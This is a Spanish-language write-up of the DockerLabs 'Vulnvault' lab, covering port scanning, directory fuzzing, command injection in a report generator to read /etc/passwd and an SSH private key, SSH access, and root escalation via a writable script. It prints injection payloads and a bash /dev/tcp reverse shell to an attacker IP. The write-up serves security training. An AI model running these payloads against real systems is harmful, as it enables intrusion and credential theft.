> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/vulnvault.md).

# Vulnvault

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un **Centro de Operaciones** sobre Apache. La cadena combina enumeracion web, subida de archivos, descubrimiento de una version antigua vulnerable, inyeccion de comandos para leer archivos sensibles, acceso SSH con una clave privada expuesta y escalada final mediante un script escribible ejecutado por `root`.

***

## Reconocimiento

Se comienza con un escaneo de versiones contra la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-be4b23e4485f956fb1d13d80d5d2889cb73d5125%2Fimg-2026-05-07-20-41-01.png?alt=media)

El escaneo muestra dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.58  |

Con SSH y HTTP expuestos, se empieza revisando la aplicacion web.

***

## Enumeracion web

Al acceder al puerto `80` aparece un panel llamado **Centro de Operaciones** con opciones para generar reportes y subir archivos:

```
http://172.17.0.2
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d4668679f93beb913828011a0fa95e4f9eef2315%2Fimg-2026-05-07-20-41-55.png?alt=media)

La seccion de subida permite seleccionar un archivo y enviarlo al servidor:

```
http://172.17.0.2/upload.html
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-87ab56adcef14858f529527ff5aafe755a86eba1%2Fimg-2026-05-07-20-42-21.png?alt=media)

Como el servidor interpreta PHP, se prepara una reverse shell PHP apuntando a la maquina atacante:

```
IP: 172.17.0.1
Puerto: 4444
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-9154c719ec04e40024d98091c5669a67a9bf04fa%2Fimg-2026-05-07-20-43-08.png?alt=media)

La subida del archivo `shell.php` responde correctamente:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ba08f0e9c416365100bef494a765232290146df9%2Fimg-2026-05-07-20-43-35.png?alt=media)

Aunque el archivo se sube con exito, no se observa una ruta directa para ejecutarlo. Se continua enumerando directorios y extensiones interesantes.

***

## Fuzzing de rutas

Se usa `gobuster` con varias extensiones comunes:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,php,txt,py,sh,log
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-703ecf5ce376ddf6f0e08ec9eb1435f957a1efd6%2Fimg-2026-05-07-20-46-18.png?alt=media)

Entre los resultados aparecen rutas relevantes:

| Ruta           | Codigo | Comentario                       |
| -------------- | ------ | -------------------------------- |
| `/index.php`   | 200    | Pagina principal                 |
| `/upload.html` | 200    | Formulario de subida             |
| `/upload.php`  | 200    | Backend de subida                |
| `/old/`        | 301    | Version antigua de la aplicacion |

Al acceder directamente a `upload.php` sin enviar un fichero, la aplicacion indica que no se ha recibido ningun archivo:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-31369e44669879e3a4d8f9eb071845bd897513f0%2Fimg-2026-05-07-20-49-45.png?alt=media)

La ruta mas interesante pasa a ser `/old/`, donde hay una version antigua del generador de reportes.

***

## Inyeccion de comandos

La version antigua permite generar reportes indicando un nombre de archivo y una fecha:

```
http://172.17.0.2/old/index.php
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-4463d0757ab9bb3a68ac5ea4e6200f4610b13e6c%2Fimg-2026-05-07-20-45-13.png?alt=media)

Al interceptar la peticion con Burp Suite, se prueba una inyeccion de comandos en el parametro `nombre`:

```http
POST /old/index.php HTTP/1.1
Host: 172.17.0.2
Content-Type: application/x-www-form-urlencoded

nombre=hola;cat /etc/passwd&fecha=1212-12-12
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b2efa6e126ef47f7cbe0fa6a31e96d1e7fc50cea%2Fimg-2026-05-07-20-57-54.png?alt=media)

La respuesta incluye el contenido de `/etc/passwd`, confirmando ejecucion de comandos. En la salida aparece un usuario local interesante:

```
samara:x:1001:1001:samara,,,:/home/samara:/bin/bash
```

Con un usuario identificado, se intenta leer su clave privada SSH mediante la misma inyeccion:

```
hola;cat /home/samara/.ssh/id_rsa
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-86200476de384249f0446a8b33615ed1d24baf72%2Fimg-2026-05-07-21-09-29.png?alt=media)

El reporte devuelve una clave privada OpenSSH completa, por lo que se guarda en la maquina atacante y se ajustan permisos.

***

## Acceso inicial

Se asignan permisos restrictivos a la clave privada:

```bash
chmod 600 idrsamara
```

Despues se accede por SSH como `samara`:

```bash
ssh samara@172.17.0.2 -i idrsamara
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bcd0e9b0c4fe2ad23ad4445e40836abac72fccde%2Fimg-2026-05-07-21-12-15.png?alt=media)

Con esto se obtiene una shell interactiva como el usuario `samara`.

***

## Enumeracion local

Primero se revisan privilegios `sudo`, pero el usuario no puede ejecutar comandos como otro usuario:

```bash
sudo -l
```

Tambien se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-42e44026409f4ac3fecff48809b5c5c252bd57a1%2Fimg-2026-05-07-21-12-56.png?alt=media)

Los binarios encontrados son habituales y no ofrecen una escalada directa. El siguiente paso es buscar archivos escribibles fuera de rutas temporales:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6a7faf4c82e9964c6a55ea9bcd5b8ca78be4dfd7%2Fimg-2026-05-07-21-14-00.png?alt=media)

Aparece un archivo muy interesante:

```
/usr/local/bin/echo.sh
```

El archivo tiene permisos de escritura para otros usuarios:

```
-rwxrw-rw- 1 root root /usr/local/bin/echo.sh
```

***

## Escalada de privilegios

Para comprobar si el script se ejecuta con privilegios, se revisan procesos en ejecucion:

```bash
ps aux
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3ac4db54a01c363d50ce3f60902c534174ab1a10%2Fimg-2026-05-07-21-18-58.png?alt=media)

La salida muestra que `root` ejecuta continuamente `/usr/local/bin/echo.sh`:

```
root ... /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
root ... /bin/bash /usr/local/bin/echo.sh
```

Como el script es escribible y se ejecuta como `root`, se modifica para lanzar una reverse shell hacia la maquina atacante:

```bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5610e09c3001754aee2b15f823641e328f496116%2Fimg-2026-05-07-21-15-01.png?alt=media)

En la maquina atacante se deja un listener esperando:

```bash
nc -lvnp 4444
```

Cuando `root` vuelve a ejecutar el script, llega la reverse shell:

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c5f94540ee03fb496badbb904ec857463b3f74eb%2Fimg-2026-05-07-21-15-42.png?alt=media)

Se confirma el compromiso total de la maquina:

```bash
id
uid=0(root) gid=0(root) groups=0(root)
```

***

## Conclusion

La maquina se compromete a partir de una aplicacion web con una funcionalidad de reportes vulnerable a inyeccion de comandos. Aunque la subida de archivos permite cargar una shell PHP, la ruta efectiva llega al descubrir `/old/` y abusar del parametro `nombre` para leer `/etc/passwd` y despues la clave privada SSH de `samara`.

Con la clave privada se obtiene acceso por SSH. La escalada final se basa en una mala configuracion local: `/usr/local/bin/echo.sh` es escribible por usuarios no privilegiados y se ejecuta de forma continua como `root`, permitiendo reemplazar su contenido por una reverse shell.

### Puntos clave

| Fase              | Tecnica                   | Resultado                       |
| ----------------- | ------------------------- | ------------------------------- |
| Reconocimiento    | Nmap                      | SSH y Apache expuestos          |
| Enumeracion web   | Revision manual           | Panel de reportes y subida      |
| Fuzzing           | Gobuster                  | Descubrimiento de `/old/`       |
| Explotacion       | Command Injection         | Lectura de archivos del sistema |
| Credenciales      | Lectura de `id_rsa`       | Clave privada de `samara`       |
| Acceso inicial    | SSH con clave             | Shell como `samara`             |
| Enumeracion local | Archivos escribibles      | `/usr/local/bin/echo.sh`        |
| Escalada          | Script ejecutado por root | Reverse shell como `root`       |

### Recomendaciones

* Validar y sanear cualquier dato usado en comandos del sistema.
* Evitar construir comandos concatenando parametros del usuario.
* Eliminar versiones antiguas de aplicaciones expuestas en produccion.
* No almacenar claves privadas accesibles por el usuario del servicio web.
* Corregir permisos inseguros sobre scripts ejecutados por `root`.
* Revisar tareas o bucles de mantenimiento que ejecuten scripts modificables por usuarios no privilegiados.
